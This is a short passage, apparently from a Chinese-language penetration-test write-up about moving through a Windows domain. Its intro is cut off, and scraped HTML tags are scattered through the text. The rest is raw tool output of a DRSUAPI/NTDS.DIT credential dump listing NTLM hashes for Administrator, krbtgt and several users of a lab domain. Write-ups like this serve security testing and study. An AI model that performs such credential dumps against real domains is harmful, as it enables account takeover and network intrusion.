本项目前期打点非常顺利，进来就是一个域账户权限且为本机管理员。本来认为一帆风顺，后续还是经历了一些波折。在测试的过程中遇到了脱域机器以及网络上的隔离，最终还是通过常...
<\/p>

Password:<\/p>

\[\* \]<\/span><\/p>

Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<\/p>

\[\* \]<\/span><\/p>

Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7a4df117f282d3ebecb49b4b5a400a3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1633931245c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0f6a08c7f25535789158e8a42d2502c:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:d252222b2078d1afb2045a16f3b0d3a:::
pwnable.com\victim-user1:1134:aad3b435b51404eeaad3b435b51404ee:010f638de4537bf78a45cca0fa44020d:::
pwnable.com\victim-use3:1157:aad3b435b51404eeaad3b435b51404ee:3f59bb59c9aa5fc5322074f7a1d6aae0:::
pwnable.com\victim-user2:1161:aad3b435b51404eeaad3b435b51404ee:46fe9267487e1120c571b1b556505163:::
pwnable.com\victim-user:1164:aad3b435b51404eeaad3b435b51404ee:7edb2c4cd674b87ffaeb90f6ee29c061:::
<\/p>